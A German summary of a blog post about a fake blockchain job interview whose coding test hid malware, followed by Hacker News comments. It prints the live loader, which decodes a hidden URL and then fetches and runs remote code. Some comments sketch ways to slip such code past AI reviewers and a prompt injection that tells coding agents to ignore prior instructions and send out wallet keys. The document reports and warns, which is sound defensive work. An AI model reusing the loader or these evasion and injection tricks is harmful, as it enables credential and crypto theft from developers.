Wie ich wegen eines „Job-Interviews“ beinahe gehackt worden wäre
(blog.daviddodda.com)- Ein freiberuflicher Entwickler entkam nur knapp einer Gefahr, nachdem er in einem raffiniert gefälschten Bewerbungsgespräch gerade noch rechtzeitig bemerkte, dass er als Coding-Test getarnte Malware ausführen sollte
- Die Angreifer bauten Vertrauen auf, indem sie sich als CBO eines real existierenden Blockchain-Unternehmens ausgaben und dafür ein LinkedIn-Profil mit mehr als 1.000 Kontakten sowie ein professionell wirkendes Bitbucket-Repository nutzten
- Im Server-Controller der bereitgestellten React/Node-Codebasis war als Byte-Array verschleierte Malware versteckt, die bei Ausführung mit Administratorrechten darauf ausgelegt war, Krypto-Wallets, Dateien, Passwörter und alle sonstigen digitalen Assets zu stehlen
- Unmittelbar vor dem Start bat der Entwickler Cursor, den verdächtigen Code zu prüfen, entdeckte dadurch die Malware und stellte fest, dass die URL zur Verteilung der Schadsoftware exakt 24 Stunden später gelöscht wurde – ein Hinweis auf ein System zur Beseitigung von Beweisen
- Der Angriff ist ein typischer Fall von Social Engineering, bei dem Dringlichkeit, Autorität, Vertrautheit und Social Proof gezielt für psychologische Manipulation eingesetzt wurden
- Zugleich ist er eine praktische Mahnung, dass Entwickler vor der Ausführung jeglichen externen Codes verpflichtend Sandbox-Prüfungen sowie Identitäts- und Repository-Verifikation durchführen sollten, und warnt vor dem Potenzial dieser Methode für großflächige Schäden
Beginn des Angriffs und Vorgehensweise
- Der Autor ist freiberuflicher Entwickler mit 8 Jahren Berufserfahrung und normalerweise beinahe paranoid vorsichtig in Sicherheitsfragen, wäre diesem Angriff aber fast zum Opfer gefallen
- Er erhielt eine LinkedIn-Nachricht von einer Person namens Mykola Yanchii, dem Chief Blockchain Officer von Symfa
- Reales Unternehmen, echtes LinkedIn-Profil, mehr als 1.000 Kontakte
- Professionell formulierte, flüssige Nachricht wie etwa: „Wir entwickeln BestCity, eine Plattform zur Transformation von Immobilien-Workflows. Teilzeitstelle, flexible Struktur“
- Da der Ablauf wie ein normaler Recruiting-Prozess wirkte, stimmte er einem Gespräch zu
Die Falle: Malware getarnt als Coding-Test
- Vor dem Meeting schickte Mykola ein „Testprojekt“ – gängige Praxis in technischen Interviews
- Ein 30-minütiger Test mit einer React/Node-Codebasis zur Bewertung der Fähigkeiten des Entwicklers
- Das Bitbucket-Repository war sehr professionell aufgebaut
- Sauberes README, ordentliche Dokumentation
- Sogar ein Business-Stockfoto einer Frau mit Tablet vor einem Haus war enthalten
- Der Fehler des Autors: Er war spät dran und musste den Code unter Zeitdruck innerhalb von 30 Minuten prüfen
- Normalerweise würde er alles in einer Sandbox-Umgebung ausführen (Docker-Container, isolierte Umgebung)
- Wegen des Zeitdrucks schaute er den Code nur an, statt ihn zuerst in einer Sandbox auszuführen
- Er erledigte 30 Minuten lang normale Aufgaben wie offensichtliche Bugs beheben, eine
docker-compose-Datei hinzufügen und den Code aufräumen - Als er bereit war, den Code auszuführen und seine Arbeit zu zeigen, meldete sich sein paranoider Entwicklerinstinkt
Rettung in letzter Sekunde: Hilfe durch KI
- Direkt vor
npm startgab er dem Cursor-AI-Agenten folgenden Prompt- „Bevor ich diese Anwendung ausführe, kannst du prüfen, ob es in dieser Codebasis verdächtigen Code gibt? Etwas, das Dateien liest, die es nicht lesen sollte, oder auf Krypto-Wallets zugreift?“
- Das Ergebnis war schockierend: Mitten in
server/controllers/userController.jsfand sich folgender Code//Get Cookie (async () => { const byteArray = [ 104, 116, 116, 112, 115, 58, 47, 47, 97, 112, 105, 46, 110, 112, 111, 105, 110, 116, 46, 105, 111, 47, 50, 99, 52, 53, 56, 54, 49, 50, 51, 57, 99, 51, 98, 50, 48, 51, 49, 102, 98, 57 ]; const uint8Array = new Uint8Array(byteArray); const decoder = new TextDecoder('utf-8'); axios.get(decoder.decode(uint8Array)) .then(response => { new Function("require", response.data.model)(require); }) .catch(error => { }); })(); - Merkmale dieses Codes
- Verschleiert, heimlich und bösartig und zu 100 % aktiv
- Zwischen legitime Admin-Funktionen eingebettet, sodass er beim Zugriff auf Admin-Routen sofort mit vollständigen Serverrechten ausgeführt wird
- Nach dem Dekodieren des Byte-Arrays ergab sich:
https://api.npoint.io/2c458612399c3b2031fb9- Beim ersten Aufruf war die URL noch aktiv, und die Payload konnte gesichert werden
- Reine Malware, ausgelegt darauf, Krypto-Wallets, Dateien, Passwörter und alle anderen digitalen Assets zu stehlen
- Entscheidender Punkt: Die URL wurde exakt 24 Stunden später gelöscht – die Angreifer verfügten also über eine Infrastruktur, um Beweise schnell zu vernichten
- Eine Analyse der Payload bei VirusTotal bestätigte, dass es sich um echte Malware handelte
Eine organisierte Angriffsoperation
- Das war kein Betrug auf Amateur-Niveau, sondern eine hochgradig ausgefeilte Operation
- LinkedIn-Profil
- Mykola Yanchii wirkte zu 100 % echt
- Titel als Chief Blockchain Officer, passende Berufshistorie
- Sogar typische LinkedIn-Posts über „Innovation“ und „Blockchain-Beratung“
- Unternehmens-Tarnung
- Symfa hatte eine vollständige LinkedIn-Unternehmensseite
- Professionelles Branding, mehrere Mitarbeiter, Beiträge über die „Revolutionierung von Immobilien durch Blockchain“
- Dazu ein aufgebautes Netzwerk aus verknüpften Seiten und Followern
- Vorgehensweise
- Beim Erstkontakt gab es überhaupt keine Warnsignale
- Professionelle Sprache, plausibler Projektumfang
- Sogar Calendly wurde zur Terminabstimmung genutzt
- Platzierung der Payload
- Die Malware war strategisch in einem serverseitigen Controller platziert
- So angelegt, dass sie beim Zugriff auf Admin-Funktionen mit vollständigen Node.js-Rechten ausgeführt wird
Psychologische Manipulationstechniken
- Diese Faktoren machten den Angriff so gefährlich
- Dringlichkeit (Urgency)
- „Bitte erledigen Sie den Test vor dem Meeting, um Zeit zu sparen“
- Autorität (Authority)
- Verifiziert wirkendes LinkedIn-Profil, reales Unternehmen, professionelles Setup
- Vertrautheit (Familiarity)
- Ein standardmäßiger Coding-Test zum Mitnehmen
- Ein Format, das jeder Entwickler schon dutzendfach erlebt hat
- Social Proof
- Eine echte Unternehmensseite mit echten Mitarbeitern und echten Kontakten
- Selbst der Autor, obwohl in Sicherheitsfragen fast paranoid, wäre beinahe darauf hereingefallen
Erkenntnisse
- Ein einziger einfacher KI-Prompt bewahrte ihn vor einer Katastrophe
- Weder ein fortgeschrittenes Sicherheitstool noch teure Antivirensoftware
- Er bat seinen Coding-Assistenten lediglich darum, vor der Ausführung unbekannten Codes nach verdächtigen Mustern zu suchen
- Das Erschreckende: Dieser Angriffsvektor ist perfekt auf Entwickler zugeschnitten
- Entwickler laden den ganzen Tag Code herunter und führen ihn aus
- GitHub-Repositories, npm-Pakete, Coding-Challenges usw.
- Die meisten führen nicht alles in einer Sandbox aus
- Es handelte sich um serverseitige Malware mit vollständigen Node.js-Rechten
- Zugriff auf Umgebungsvariablen, Datenbankverbindungen, Dateisystem, Krypto-Wallets und mehr
Ausmaß und Auswirkungen des Angriffs
- Wenn solche ausgefeilten Operationen Entwickler in großem Stil ins Visier nehmen, wie viele wurden dann wohl bereits infiziert?
- In wie viele Produktivsysteme sind sie inzwischen eingedrungen?
- Perfektes Targeting
- Entwickler sind ideale Opfer
- Auf den Rechnern von Entwicklern liegen die Schlüssel zum Königreich: Produktions-Zugangsdaten, Krypto-Wallets, Kundendaten
- Professionelle Tarnung
- Glaubwürdigkeit über LinkedIn, realistische Codebasis, standardisierter Interviewprozess
- Technische Raffinesse
- Mehrschichtige Verschleierung, Remote-Auslieferung der Payload, Dead-Man-Switch, serverseitige Ausführung
- Eine einzige erfolgreiche Infektion kann Folgendes gefährden
- Die Kompromittierung von Produktivsystemen großer Unternehmen
- Krypto-Bestände im Wert von Millionen Dollar
- Die persönlichen Daten von Tausenden Nutzern
Fazit und Gegenmaßnahmen
Wenn Sie als Entwickler eine Job-Chance über LinkedIn erhalten:
- 1. Unbekannten Code immer in einer Sandbox ausführen
- Nutzen Sie Docker-Container, VMs oder was auch immer geeignet ist
- Niemals direkt auf dem Hauptrechner ausführen
- 2. KI zum Scannen auf verdächtige Muster nutzen
- 30 Sekunden reichen aus
- Das kann Ihr gesamtes digitales Leben retten
- 3. Alles verifizieren
- Ein echtes LinkedIn-Profil bedeutet nicht automatisch eine echte Person
- Ein echtes Unternehmen bedeutet nicht automatisch eine echte Chance
- 4. Auf das Bauchgefühl hören
- Wenn jemand Sie drängt, Code schnell auszuführen, ist das ein Warnsignal
- Dieser Betrug war ausgefeilt genug, um sogar den anfänglichen BS-Detektor des Autors zu täuschen
- Doch ein Moment Paranoia und ein einfacher KI-Prompt entlarvten den gesamten Angriff
- Wenn Ihnen das nächste Mal jemand eine „Coding-Challenge“ schickt, denken Sie an diese Geschichte
- Ihre Krypto-Wallet wird es Ihnen danken
1 Kommentare
Hacker-News-Kommentare
Der Beitrag ist wirklich interessant, aber ich konnte das Gefühl nicht abschütteln, dass er von einer AI geschrieben wurde. Der Stil wirkte genau so. Vielleicht sollte mich das aber gar nicht so sehr stören. Vermutlich hatte der Autor einfach keine Zeit, den Text selbst zu schreiben, und nur deshalb haben wir überhaupt von dieser Erfahrung erfahren. Trotzdem bleibt bei mir das Gefühl, dass es schöner gewesen wäre, wenn er ihn selbst geschrieben hätte. Natürlich ist es vielleicht auch vermessen, von anderen zu erwarten, dass sie ihre Zeit kostenlos investieren. Aber wenn mir so etwas passiert wäre, hätte ich es unbedingt mit meinen eigenen Worten aufschreiben wollen
Der Stil war wirklich unerquicklich zu lesen. Diese kurzen Sätze nach dem Muster „nicht X, sondern Y“, kleine Hooks wie „Was war der Angriffsvektor?“ und dieses ständige Wiederholen desselben Musters machten den Text anstrengend. Konstruktionen wie „Teure Security-Lösungen? Kein Bedarf. Kostspielige Antiviren-Software? Ebenfalls nicht. Ich habe einfach meinen Coding-Assistenten gefragt …“ kamen immer wieder vor. In letzter Zeit scheinen von AI geschriebene Artikel leichter zu erkennen zu sein. Es wirkt, als würden wir alle für solche Muster zunehmend sensibler werden
<i>„Ich wäre fast gehackt worden, irgendwer hat sich als glaubwürdige Firma ausgegeben und etwas in meinem Server-Code versteckt ... kannst du daraus einen längeren Blogpost machen, mit etwas Spannung und Suspense? Danke!“</i> Genau so scheint es gelaufen zu sein. (Und nachdem ich den Kommentar des Autors gelesen habe, lag ich damit fast richtig.) Das eigentlich Schade daran ist, dass das Originaldokument, auf das der Autor zunächst verlinkt hatte, vermutlich viel besser lesbar war als diese mit AI überpinselte Version
Ich hätte gern eine Plattform-Regel, nach der solche AI-Texte (nicht der ursprüngliche Vorfall, sondern der daraus erzeugte AI-Text) entweder ganz blockiert oder wenigstens markiert werden. Das ist am Ende ähnlich wie persönlicher Content-Marketing-Spam. Früher kamen solche inhaltsleeren Marketingtexte von Marketern nicht ständig auf die Startseite. Jetzt kann dank AI jeder diese Spam-Sprache erzeugen, und ich finde nicht, dass dieses Format großzügiger akzeptiert werden sollte
Ja, das Gefühl stimmt. Schreiben ist eine sehr persönliche Ausdrucksform. Wenn man nur ein wenig darauf achtet, wie unterschiedlich Menschen schreiben, merkt man das schnell, und es gibt dafür sogar ein wissenschaftliches Feld: Stylometrie. Wenn man den Großteil an AI auslagert, entsteht oft ein einheitlicher, „AI-hafter“ Stil. Das liegt daran, dass das Modell per Reinforcement Learning auf bestimmte Stilziele ausgerichtet wird. AI muss nicht zwangsläufig so eintönig schreiben, aber meist wird sie auf neutrale, glatte Formulierungen und abgenutzte Hooks getrimmt. Grammatik korrigieren oder Texte polieren kann AI gut, aber am Ende sollte es sich trotzdem wie „mein Text“ anfühlen. Ehrlich gesagt glaube ich, dass man auch ohne perfekte Englischkenntnisse einen guten Blogpost schreiben kann. Deshalb finde ich es etwas schade, wenn Menschen sich so stark auf AI verlassen. Natürlich kostet Schreiben viel Zeit. Ich selbst habe auch nur wenige Beiträge in meinem Blog. Trotzdem lohnt sich die Investition. p.s. Wahrscheinlich gibt es auch etliche Menschen, die fälschlich für AI-Autoren gehalten werden. Manche schreiben zufällig in einem ähnlichen Stil. Das kann zwar frustrierend sein, aber der Kern ist eigentlich nicht einmal die Tatsache „Da wurde AI benutzt“, sondern dass der Stil einfach nicht besonders gut ankommt. Wenn das Ergebnis von einem Computer stammt und das nicht einmal gekennzeichnet oder erklärt wird, ist die Enttäuschung umso größer. Das mag hart klingen, ist aber nicht als persönlicher Angriff gemeint. Manchmal muss man sehr ehrlich sein. (Ich finde übrigens nicht, dass gerade dieser Artikel extrem schlecht war, aber etwas klischeehaft wirkte er schon)
Stimmt tatsächlich. In einem meiner Kommentare stehen der Entwurf und der Prompt. Wir launchen gerade ein neues Produkt in meiner Firma, und ich hatte fast keine Zeit zum Schreiben. Wegen der komplexen Realität namens „Leben“ konnte ich nur sehr wenig Zeit darauf verwenden. Danke für dein Verständnis
Ich habe auf LinkedIn ein pseudonymes Konto namens „Mykola Yanchii“ entdeckt, und es wirkte überhaupt nicht echt. Wenn man auf „Mehr“ → „Profilinformationen“ klickt, ist das voller verdächtiger Punkte. Zum Beispiel steht dort als Beitrittsdatum Mai 2025, und innerhalb von sechs Monaten wurden sowohl die Kontaktdaten als auch das Profilbild geändert. Dieses Konto trägt ein LinkedIn-Verifizierungs-Badge, angeblich verifiziert über Persona. Das lässt eher vermuten, dass es bei Persona selbst schwerwiegende Lücken oder Sicherheitsprobleme gibt und Cyberkriminelle das Badge missbrauchen, um Vertrauen vorzutäuschen. Mein Fazit: Wenn ein Profil weniger als ein Jahr Historie hat, aber zugleich angeblich sehr alte Stationen enthält und dann auch noch Persona-verifiziert ist, sollte man ihm auf keinen Fall vertrauen. https://www.linkedin.com/in/mykola-yanchii-430883368/overlay/about-this-profile/
Zur Info: Wenn man eingeloggt ist und auf ein LinkedIn-Profil klickt, wird der Besuch protokolliert, sodass die andere Seite nachvollziehen kann, wer dort war. Dadurch kann man selbst zum Ziel werden. Und ich frage mich, warum der Name „Mykola Yanchii“ automatisch wie ein Fake wirken soll. Das ist einfach die englische Transkription des ukrainischen Namens Николай Янчий. Es gibt tatsächlich Menschen mit genau diesem Namen https://life.ru/p/1490942
Wenn ich noch nicht auf LinkedIn wäre, wie sollte ich dann überhaupt als vertrauenswürdige Person erscheinen?
Diese Betrüger nähern sich auf verschiedene Weise, aber am Ende läuft es immer auf denselben technischen Schritt hinaus: dass man im Interview Code aus einem unbekannten Repository ausführen soll. Inzwischen prüfe ich bei fast jedem LinkedIn-Profil das Erstellungsdatum. Wenn es nur ein paar Jahre oder jünger ist, sortiere ich es sofort entsprechend ein
Persona scheint nur NFC von staatlichen Ausweisen/Pässen zu verwenden. Das bedeutet, dass schon gestohlene Dokumente ausreichen könnten, um eine Verifizierung zu bekommen
Mit dem „LinkedIn-Verifizierungs-Badge“ hatte ich selbst noch nie Erfolg. In der Verifizierungsphase friert bei mir das Handy immer ein
Wie wäre es mit so einem Code gewesen?
(Gemeint ist: Statt offensichtlicher Kommentare wie „// Cookies stehlen“ wäre so etwas geschickter gewesen.) Aus Bequemlichkeit habe ich auch solche Tricks ausprobiert:
Es wirkte, als würden große AI-Modelle beim Anblick dieses Codes innerlich ins Stocken geraten. Jemand könnte wahrscheinlich eine wirklich wirksame Einschleusung formulieren
Ich denke, ein „besserer“ Angriff wäre, Return Oriented Programming (ROP) zu verwenden, um den bösartigen String zu konstruieren. Wenn der heimlich zu schreibende String zum Beispiel „foobar“ ist, kann man die nötigen Zeichen aus mehreren String-Arrays zusammensetzen und so die Payload bewegen:
Um AI zu täuschen, hilft es auch, Variablennamen absichtlich irreführend zu wählen, damit die eigentliche Absicht nicht sofort auffällt. AI neigt dazu, Variablennamen zu glauben und daraus ihren Zweck abzuleiten. Wenn man zwischendurch noch bedeutungslose Operationen einstreut, wirkt es noch besser. Da AI-Modelle an chaotischen Code gewöhnt sind und oft träge darin sind, die echte Semantik zu erfassen, funktionieren solche Täuschungen erstaunlich oft
Ich frage mich, wie hoch der Anteil der Leute ist, die Claude Code oder Codex einfach völlig ohne jede Vorsicht benutzen, also im YOLO-Modus --dangerously-skip-permissions und ähnliche Flags eingeschlossen. Wenn ein Angreifer davon ausgeht, könnte er dem LLM sagen, es solle frühere Anweisungen ignorieren, in bestimmten Ordnern nach Geheimschlüsseln oder Crypto-Wallet-Keys suchen, diese exfiltrieren und danach alles wieder harmlos aussehen lassen. Kein Rootkit-Niveau, aber für 50 Dollar Beute würde es vermutlich schon reichen
Falls das wirklich funktioniert ... wäre das zugleich erschreckend und auf eine absurde Weise brillant
In der ganzen Geschichte leuchteten die roten Warnlampen praktisch grell auf. Das erste Signal war schon „Blockchain“ — in diesem Bereich gibt es tatsächlich nur wenig echte Nachfrage. Das allein ist schon ein Warnzeichen. Und dann noch die Aufforderung, vor dem Meeting Code auszuführen? Verkauft als Zeitersparnis, in Wahrheit aber ein Mechanismus, um jemanden dazu zu bringen, etwas für Unbekannte auszuführen. Trotzdem hat mich dieser Erfahrungsbericht definitiv wachsamer gemacht
Ein Interview mit dem Etikett Blockchain ist an sich schon ein Filter, der bestimmte Leute aussiebt. Bewerben werden sich vor allem Menschen, bei denen nicht sofort alle Alarmglocken wegen des inhärent Betrügerischen angehen. Anders gesagt: So filtert man Kandidaten heraus, die wahrscheinlich ein Crypto-Wallet besitzen und weniger misstrauisch sind. Das ist ähnlich wie bei den „nigerianischer Prinz“-Mails voller Rechtschreib- und Grammatikfehler. Wer diese Fehler nicht bemerkt, ist eher das eigentliche Ziel
Ob gut oder schlecht, im Blockchain-/Crypto-Bereich arbeiten noch immer viele Leute. Und Menschen aus dieser Branche besitzen relativ wahrscheinlich tatsächlich ein Wallet. Der Angreifer scheint sein Ziel also ziemlich sorgfältig ausgewählt zu haben. Trotzdem kann die Zielgruppe jederzeit geändert werden, deshalb sollten eigentlich alle Entwickler wachsam sein
Schon das Wort Blockchain hätte gereicht, um es sofort auszusortieren
Während des Blockchain-Booms gab es zeitweise durchaus gut bezahlte Jobs und echte Gehälter. Was gebaut wurde, war oft sinnlos, manchmal neuartig und gelegentlich sogar leicht kriminell anmutend, aber es gab Stellen mit mehr als 300.000 Dollar Gehalt. Man konnte zum Beispiel an absurden Dingen wie einem „Sammel-Haustier-Drachen-Zuchtsimulator“ arbeiten, VC-Geld floss trotzdem, und echte Gehälter wurden gezahlt. Klar, man musste vermutlich alle sechs Monate den nächsten Arbeitgeber nennen und vielleicht die Welt ein Stück schlechter machen, aber ein Job war eben ein Job
Bei „Ein legitimes Blockchain-Unternehmen will, dass ich auf meinem PC irgendwelchen unbekannten Code ausführe“ wäre bei mir sofort Schluss gewesen. Da heulen alle Sirenen. In letzter Zeit merke ich, wie oft ich Kommentare über die Naivität von HN-Lesern schreibe
Ich hatte einmal ein lockeres Vorab-Interview im LlamaIndex-Discord, noch bevor ich mit einem echten Entwickler verbunden wurde. Die Betrüger gingen ähnlich vor, aber es gab überhaupt keinen plausiblen Grund, warum ich ihnen das Paket oder den Code hätte zugänglich machen sollen. Ich teilte nur per Remote-Desktop meinen Bildschirm mit meinem Code, und von 100.000 Zeilen wurden vielleicht 100 überhaupt betrachtet. Irgendwann platzte den Betrügern die Tarnung, und ab dann drohten sie, Teile meines Codes zu veröffentlichen, weil sie angeblich „geheim“ seien. Ich musste nur lachen. Dann behaupteten sie auch noch, sie könnten meinen Code allein aus dem gestreamten Video rekonstruieren — da habe ich noch lauter gelacht. Ich ließ sie einfach so lange weiterreden, bis sie selbst erschöpft waren. Sie schlugen mir sogar vor, ihrer kriminellen Organisation beizutreten. Am Ende stellte ich ihnen die Frage, die ich Betrügern immer stelle: „Warum sucht ihr euch nicht einfach normale Arbeit, statt so etwas zu machen?“ Erstaunlicherweise wirkten sie bei Terminplanung, Ressourceneinteilung und ähnlichen Dingen fast wie brauchbare Projektmanager. Ohne den Betrug hätten sie durchaus praktische Fähigkeiten gehabt
Der Satz „Wir revolutionieren Immobilien mit Blockchain“ reicht als Warnsignal völlig aus
Heute würde man statt dieses Satzes wahrscheinlich eher mit „Wir revolutionieren Immobilien mit AI“ pitchen und damit leicht 10 Millionen Dollar Funding einsammeln. Nicht einmal mit irgendeinem Coin müsste man noch herumspielen
Es gibt tatsächlich Dutzende Unternehmen, die versuchen, Immobilienwerte zu tokenisieren und dafür sogar echtes Investment erhalten. Ob das eine gute Idee ist, weiß ich nicht, aber es gibt definitiv Menschen, die dort arbeiten und reales Geld verdienen
Schon bei „Wir revolutionieren Immobilien mit Blockchain“ würde ich nicht einmal zum nächsten Schritt übergehen
Bei solchen „Blockchain“-Firmen ist es eigentlich vernünftig, erst einmal von Betrug auszugehen. Das soll kein Victim Blaming sein. Aber wer diese Realität bis heute nicht kennt, hat die letzten Jahre praktisch in einer Höhle verbracht
Wenn er die Malware ausgeführt und dabei auch noch den Besitz seines Hauses übertragen hätte, wäre das allein als Vorstellung schon absurd komisch
Jemand, der es im Thread „Who Wants to Be Hired“ offenbar auf Junior-Entwickler abgesehen hatte, kontaktierte mich. Er weckte Interesse an meinem Projekt und versuchte dann unter dem Vorwand eines Interviews, mir Malware installieren zu lassen
Für genau solche Momente sollte man vielleicht einen Interviewschritt einführen, bei dem Kandidaten aussortiert werden, die sofort alles herunterladen würden. Ich möchte keine Mitarbeiter, die ohne Misstrauen blind irgendetwas installieren
Auch unter Stellenausschreibungen wie „Who is hiring?“ gibt es Verdächtiges
Man sollte Namen nennen und andere warnen, damit nicht noch mehr Menschen zu Opfern werden
Dass so etwas auf HN passiert, überrascht mich nicht. HN hat in der Vergangenheit auch schon bekannte Hacker stillschweigend gedeckt
Ich habe fast genau dieselbe Erfahrung gemacht https://kaveh.page/blog/job-interview-scam. Wenn jemand möchte, dass ich Code auf meinem Rechner ausführe, akzeptiere ich das grundsätzlich nur, wenn der Code vorher über einen vertrauenswürdigen Kanal bei mir angekommen ist. Und wenn ich fremden Code doch einmal unbedingt ausführen muss, dann nur in einer VM
In solchen Situationen nutze ich Little Snitch als Standardwerkzeug und lasse es immer im Benachrichtigungs- oder Blockiermodus laufen. Selbst wenn ein Programm angeblich keine Internetverbindung braucht, ist es erstaunlich, wie viele Anwendungen trotzdem ständig versuchen, Server zu kontaktieren. Zum Beispiel hat das Cline-Plugin für vscode zwar eine Option, Telemetrie an Remote-Server zu deaktivieren, versucht aber sogar bei lokalem ollama trotzdem bei jedem Prompt mit einem Server zu sprechen
Als Linux-Container-basierte Zero-Config-Sandbox werden Python sandbox-venv https://github.com/sandbox-utils/sandbox-venv und für npm sandbox-run https://github.com/sandbox-utils/sandbox-run genannt
Ich finde ebenfalls, dass Little Snitch oder OpenSnitch in solchen Situationen sehr hilfreich sind. Allerdings sollte man globale Allow-Regeln für alle Apps vermeiden. Malware hat schon mehrfach vertraute Seiten wie GitHub Gists benutzt, um sensible Daten zu exfiltrieren. Selbst wenn die Firewall das System geschützt hat, sollte man ein einmal kompromittiertes System grundsätzlich als kontaminiert behandeln
Ich fand es immer seltsam, wenn Leute sich darüber beschweren, dass Build-Automation-Systeme Internetzugang benötigen, aber tatsächlich ist das ein völlig berechtigter Punkt
Mit Malwarebytes WFC fühle ich mich deutlich sicherer
Die wirklich wichtige Lehre ist, dass Social Media — einschließlich LinkedIn — niemals eine echte Due-Diligence-Prüfung der Identität ersetzen kann. Wichtiger sind Dinge wie Handelsregistereinträge, Steuerunterlagen (bei börsennotierten Unternehmen), verifizierte Geschäftspartner, tatsächlich abgeschlossene Projekte und andere belastbare Nachweise. Im Jahr 2025 ist ein „Verifizierungs-Badge“ kein Vertrauensbeweis mehr — entscheidend ist die echte Historie